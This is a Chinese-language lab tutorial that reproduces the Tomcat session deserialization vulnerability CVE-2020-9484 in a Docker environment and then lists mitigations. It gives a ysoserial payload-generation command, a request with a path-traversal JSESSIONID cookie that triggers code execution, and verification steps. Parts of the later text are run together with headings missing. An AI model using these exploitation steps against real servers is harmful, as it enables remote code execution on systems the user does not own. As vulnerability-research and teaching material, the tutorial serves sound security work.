# 如何進行Tomcat Session反序列化漏洞復現
## 前言
Tomcat作為廣泛使用的Java Web應用服務器,其安全性備受關注。Session反序列化漏洞(CVE-2020-9484)是近年來影響較大的高危漏洞,允許攻擊者通過精心構造的序列化數據實現遠程代碼執行。本文將詳細講解漏洞原理、環境搭建、利用過程及防御措施,幫助安全研究人員掌握漏洞復現方法。
---
## 一、漏洞概述
### 1.1 漏洞背景
- **漏洞編號**:CVE-2020-9484
- **影響版本**:Apache Tomcat 10.0.0-M1至10.0.0-M4、9.0.0.M1至9.0.34、8.5.0至8.5.54、7.0.0至7.0.103
- **漏洞類型**:反序列化遠程代碼執行(RCE)
- **CVSS評分**:9.8(Critical)
### 1.2 漏洞原理
當Tomcat配置了`PersistentManager`并使用`FileStore`存儲Session時,攻擊者可上傳惡意序列化數據到服務器,通過偽造Session ID觸發反序列化操作,最終執行任意代碼。
**關鍵點**:
- 使用`JSESSIONID`指定文件路徑
- 服務器未對反序列化數據做安全檢查
- 依賴`org.apache.catalina.session.FileStore`組件
---
## 二、實驗環境搭建
### 2.1 所需工具
| 工具名稱 | 用途說明 |
|-------------------|----------------------------|
| Docker | 快速部署漏洞環境 |
| Vulhub鏡像 | 預置漏洞環境的Docker鏡像庫 |
| ysoserial | Java反序列化利用工具 |
| Burp Suite | 攔截和修改HTTP請求 |
### 2.2 環境配置步驟
```bash
# 拉取Vulhub漏洞環境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2020-9484
# 啟動漏洞環境(需提前安裝Docker)
docker-compose up -d
# 驗證服務是否啟動
curl http://127.0.0.1:8080
關鍵配置驗證:
檢查conf/context.xml
中是否存在如下配置:
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" directory="/tmp"/>
</Manager>
使用ysoserial生成CommonsCollections利用鏈:
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > session.ser
將生成的session.ser
上傳至Tomcat可訪問目錄(如/tmp
):
docker cp session.ser tomcat:/tmp/
通過Burp構造惡意請求:
GET /index.jsp HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=../../../../../tmp/session
進入容器檢查命令是否執行:
docker exec -it tomcat bash
ls -la /tmp/pwned # 查看文件是否創建
Request.doGetSession()
嘗試通過Session ID加載SessionFileStore.load()
從文件系統讀取序列化數據Session.readObject()
執行反序列化操作// FileStore.java
public Session load(String id) throws ClassNotFoundException, IOException {
File file = new File(directory(), id);
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) {
return (Session) ois.readObject();
}
}
<!-- 關閉PersistentManager -->
<Manager className="org.apache.catalina.session.StandardManager"/>
SerialKiller
過濾反序列化類-Dorg.apache.catalina.session.StandardSession.ACTIVITY_CHECK=true
利用鏈 | 適用版本 | 依賴條件 |
---|---|---|
CommonsCollections | 3.1-3.2.1 | 最常見利用方式 |
Groovy | 2.3.9-2.4.10 | 需Groovy庫 |
Jdk7u21 | JDK 1.7 | 利用原生JDK類 |
SerializationDumper
分析流量gadgetinspector
掃描依賴庫通過本文的詳細復現過程,我們深入理解了Tomcat Session反序列化漏洞的利用原理。在實際安全測試中,應當注意遵守法律法規,僅對授權目標進行測試。建議開發人員及時更新組件版本,并采用縱深防御策略保護Web應用安全。
相關資源: - Apache官方公告 - CVE詳細分析報告 - GitHub PoC代碼 “`
注:實際復現時請確保在授權環境下進行,本文僅用于技術研究目的。根據實驗環境差異,部分路徑和參數可能需要調整。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。